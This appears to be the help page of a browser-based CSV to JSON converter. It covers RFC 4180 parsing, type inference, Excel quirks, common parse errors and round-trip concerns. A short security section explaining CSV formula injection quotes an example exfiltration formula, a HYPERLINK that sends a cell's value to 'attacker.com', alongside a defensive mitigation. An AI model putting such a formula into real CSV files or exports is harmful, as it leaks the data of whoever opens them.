CSV to JSON Converter

Paste valid CSV — an Excel export, Google Sheets download, database dump, or API response — and the converter emits a clean JSON array in real time. The first row is treated as the header by default, becoming JSON object keys; subsequent rows become objects in a JSON array.

Type inference promotes:

• obvious numeric strings to numbers (42 stays an integer, 3.14 stays a float)
• boolean strings to booleans (true/false case-insensitive)
• empty cells to null

Toggle these behaviors off if your downstream consumer is strict about types.

The conversion runs entirely in your browser using a hand-rolled RFC 4180 parser plus the native JSON.stringify (per ECMA-404). Output is ready to paste into a `.json` file, feed to a REST API, or use as a JavaScript dataset.

• Step 1: Paste your CSV into the editor. The parser validates as you type — invalid CSV (unclosed quotes, ragged rows, wrong delimiter) shows the exact error with line and column.
• Step 2: Configure the parser if needed — pick the delimiter (defaults to comma; switch to semicolon for EU Excel exports or tab for TSV files), toggle the header-row mode, and choose type inference.
• Step 3: The JSON output appears live in the right pane. Click Copy (clipboard) or Download (`.json` file).

For programmatic workflows, the same logic is exposed via the `/api/calculate` endpoint — POST CSV to it and receive the JSON in the response body. Round-trip safety holds for flat tabular data; nested data needs a custom flattening strategy.

CSV (Comma-Separated Values) is a flat tabular format — each line is a row, fields separated by a delimiter. It has no native types (every cell is text), no nesting (one level deep, like a database table), and minimal metadata (an optional header row). It's universally readable: every spreadsheet tool, every database import, every shell tool grok CSV.

JSON (JavaScript Object Notation) is a hierarchical format with explicit types (string, number, boolean, null), nested objects and arrays, and self-describing keys per record. JSON is the lingua franca of REST/GraphQL APIs, NoSQL databases, and configuration files.

When to use which:

• CSV for bulk tabular data, spreadsheet exchange, ETL ingestion, and analyst workflows.
• JSON for APIs, configs, nested records, and machine-to-machine messaging.

Convert between them at the boundary: ingest CSV → process as JSON → export back to CSV if a spreadsheet consumer needs it.

RFC 4180 (2005) is the IETF informational standard for CSV.

Core rules:

• Records are separated by CRLF (Windows) or LF (Unix).
• Fields are separated by a delimiter (comma in the standard; commonly varied in practice).
• Fields containing the delimiter, a double quote, or a newline must be enclosed in double quotes.
• Inside a quoted field, a literal double quote is escaped by doubling it (`""` represents a single `"`).
• An optional header row appears as the first record.

The parser implemented here tolerates LF-only line endings, semicolon/tab/pipe delimiters (toggle in settings), UTF-8 BOM at file start (stripped automatically), and a trailing newline at end-of-file. It rejects unclosed quoted fields and ragged rows with clear error messages.

Type inference promotes obvious unquoted values to JSON-native types.

• Numbers: digit patterns matching JSON's integer or float syntax become JSON numbers. `42` → integer 42. `3.14` → float 3.14. `1e6` → 1000000. `01234` is ambiguous — strict number parsers reject leading zeros, so it stays a string (which is what you want for ZIP codes).
• Booleans: `true` and `false` (case-insensitive) become JSON booleans. Note: this is the YAML 1.2 / strict JSON convention — `yes`/`no`/`on`/`off` stay as strings (the 'Norway problem' fix).
• Null: empty cells (between two consecutive delimiters or at end of row) become JSON null.

If you toggle type inference off, every cell stays a string regardless of content — useful when your downstream consumer (e.g., a strict TypeScript pipeline) expects uniform types.

Excel is the dominant CSV producer, and its exports come with quirks.

• Encoding: Excel for Windows often saves CSV as UTF-8 with BOM (the parser strips it automatically) or Windows-1252 (Latin-1) for older versions. Excel for Mac usually saves clean UTF-8. If non-ASCII characters appear garbled, re-save the file as UTF-8 in your spreadsheet app before pasting.
• Delimiters: in EU locales (Germany, France, etc.), Excel uses semicolons because comma is the decimal separator; switch the delimiter setting accordingly.
• Line endings: Excel uses CRLF by default — fully supported.
• Quoting: Excel quotes any cell containing a comma or double quote; embedded quotes are escaped via `""`.
• Number formatting: Excel may export `1,234.56` (comma as thousands separator) which the parser will treat as a string unless you re-format.
• Date columns export as the locale's default string — usually need post-processing to convert to ISO 8601.

JSON is the dominant request/response format for REST APIs, GraphQL endpoints, and most modern web services.

Converting CSV to JSON is a frequent step when:

• bulk-importing data via an API that accepts JSON arrays (e.g., user signup, product catalog seeding, bulk update endpoints);
• seeding NoSQL databases (MongoDB, DynamoDB, Cassandra) that ingest JSON natively via `mongoimport`, `aws dynamodb batch-write-item`, or similar;
• feeding ETL pipelines (Airflow, Prefect, dbt) that move CSV exports through JSON-based transformations;
• populating frontend dummy data for React/Vue/Angular component prototypes.

After conversion, validate the JSON output against your downstream schema (JSON Schema, OpenAPI request body, GraphQL input type) to catch type mismatches before deployment.

JSON is the native data format for JavaScript runtimes (browser, Node.js, Deno, Bun).

Convert CSV to JSON when you need to:

• embed a static dataset in a React/Vue component (`import data from './data.json'`);
• seed a Redux/Pinia/Zustand store with initial state;
• feed a charting library (Chart.js, D3, Plotly) that expects JSON;
• prototype a Node.js script that processes records before writing to a database;
• build an Express/Fastify mock endpoint that returns sample data.

The JSON output from this converter is fully ECMA-404 compliant — `JSON.parse()`, `fetch()` POST bodies, and TypeScript type inference (`type Row = typeof data[0]`) all work without modification.

For very large datasets (10k+ rows), consider streaming with Papa Parse instead of one-shot conversion.

CSV injection (also called formula injection) is a web-application vulnerability where a CSV file containing formula prefixes (`=`, `+`, `-`, `@`) is opened in Excel or Google Sheets, and the spreadsheet automatically executes the formula.

Attackers can use this to:

• exfiltrate data (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• run arbitrary commands (legacy Excel macro syntax),
• or trick users into visiting malicious URLs.

This converter is read-only (CSV → JSON), so it doesn't introduce injection risk. But if your application generates CSV exports from user input — sanitize.

Standard mitigation: prefix any cell that starts with `=`, `+`, `-`, `@`, `\t`, `\r`, or `0x09` with a single quote (`'=cmd|...`) before writing to CSV. OWASP has a complete CSV Injection cheat sheet covering all variants.

Five errors account for 90% of CSV parse failures.

• Unclosed quoted field — a field starts with `"` but never has a matching closing `"`. The parser keeps reading until end-of-file, then errors. Fix: ensure every opening quote has a matching close.
• Ragged rows — some rows have fewer or more fields than the header. Causes: stray newlines inside unquoted text, missing or extra delimiters. Fix: verify column count is consistent.
• Wrong delimiter — your file uses semicolons but the parser is set to commas. Switch the Delimiter setting.
• Wrong escape style — using `\"` (JSON-style) instead of `""` (RFC 4180-style) inside quoted fields. Fix: re-export from the source tool with proper RFC 4180 quoting.
• Encoding mismatch — non-UTF-8 characters appear garbled. Re-save the source file as UTF-8 (most spreadsheet apps offer this option in Save As).

The error message in the converter shows the exact line and column.

Five round-trip considerations every developer should know.

• Flat data: pure flat tabular CSV → JSON → CSV preserves cell values, types (modulo type promotion if you re-parse the JSON), and column order.
• Nested JSON: cannot be round-tripped through CSV without flattening. Pick a strategy: dot-notation column names (`address.city`, `address.zip`), JSON strings inside cells, or first-level only.
• Type promotion: numeric and boolean strings get promoted on CSV → JSON; if you export back to CSV, they're emitted as their native form. ZIP codes (`01234`) need quoting in the source CSV to survive.
• Header order: the converter preserves source column order. JSON object key order is preserved by modern JavaScript engines.
• Empty cells: become null in JSON; if you export back, configure your CSV writer to emit empty strings or `null` literals as the original.

Test with non-trivial fixtures before relying on round-trip in production pipelines.

Type mapping at a glance:

• CSV header row → JSON object keys;
• CSV row → JSON object;
• CSV cell (unquoted, numeric) → JSON number;
• CSV cell (unquoted, true/false) → JSON boolean;
• CSV cell (empty) → JSON null;
• CSV cell (quoted or non-numeric) → JSON string.

Tool comparison: this converter (browser, instant, no install, RFC 4180 strict) vs Papa Parse (JS library, streaming, worker threads) vs csvkit (Python CLI, large files, dialect detection) vs `jq -R -c -f csv2json.jq` (Unix shell, programmatic).

Best practices:

• Always quote ambiguous fields (numeric IDs, ZIP codes, leading-zero strings) in the source CSV.
• Use UTF-8 encoding for compatibility — re-save older Excel files as UTF-8.
• Validate the JSON output against your downstream schema (JSON Schema, OpenAPI, TypeScript types) — catch type errors at the boundary, not in production.
• Keep CSV as the source of truth for tabular data and regenerate JSON at build/import time when possible.
• For >50MB files, switch to streaming tools (Papa Parse worker, csvkit pipeline) instead of in-browser conversion.